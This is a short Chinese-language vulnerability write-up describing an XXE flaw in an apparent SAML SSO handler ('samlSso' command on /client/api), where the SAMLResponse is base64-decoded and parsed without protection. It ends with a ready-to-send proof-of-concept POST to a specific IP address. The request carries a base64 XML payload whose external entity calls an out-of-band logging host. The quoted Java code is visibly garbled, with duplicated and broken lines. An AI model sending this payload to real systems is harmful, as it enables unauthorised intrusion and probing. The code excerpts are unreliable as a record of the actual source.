漏洞存在于该apiServlet中:

从command参数中获取command的值,并去找对应的 APIAuthenticator,这里 command=samlSso

```
ApjServlet | processRequestInContext()

if responseTypeParam != null (...)

// final Object | commandObj = params.get ApiConstants.COMMAND ;
// final String command = commandObj = null : String commandObj ();
// final String command = commandObj = null : String commandObj ();
// final String command = commandObj = null : String commandObj ();
// final Object | seroodj = null : null : String was robject | string was robject |
```

然后调用 authenticate 方法,不满足前两个if判断时调用 this.processSAMLResponse ,传入 SAMLResponse

将 SAMLResponse BASE64解码,进行解析,此处没有做任何防护

```
SAMLUtils > decodeSAMLResponse()

public static Response decodeSAMLResponse(String responseMessage)

throws ConfigurationException, ParserConfigurationException,

SAXException, IOException, UnmarshallingException {

DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance };

documentBuilder docBuilder = documentBuilderFactory.newDocumentBuilder();

DocumentBuilder docBuilder = documentBuilderFactory.newDocumentBuilder();

byte() base64DecodedResponse = Base64.decode responseMessage ;

Document document = docBuilder.parse new ByteArrayInputStream base64DecodedResponse);

Element element = document.getDocumentElement();

UnmarshallerFactory unmarshaller = unmarshallerFactory.getUnmarshaller(element);

Unmarshaller unmarshaller = unmarshallerFactory.getUnmarshaller(element);
```

Poc:

注意:

如果base的字符串中存在特殊符号如加号时需要url编码

```
POST /client/api HTTP/1.1
Host: 130.237.83.245
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0)
Gecko/20100101 Firefox/102.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp, */*; q=0.8
Accept-Language: zh-CN, zh;q=0.8, zh-TW;q=0.7, zh-HK;q=0.5, en-
US; q=0.3, en; q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 225
command=samlSso&SAMLResponse=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGlu
Zz0iVVRGLTgiPz4KPCFET0NUWVBFIGV2aWwgWwog
ICAgICAgIDwhRU5USVRZIHh4ZSBTWVNURU0gImh0dHA6Ly9qbnRtLjBib3BwaC5jZ
XllLmlvIj4K
```

ICAgICAgICBdPgo8ZXZpbD4meHhlOzwvZXZpbD4=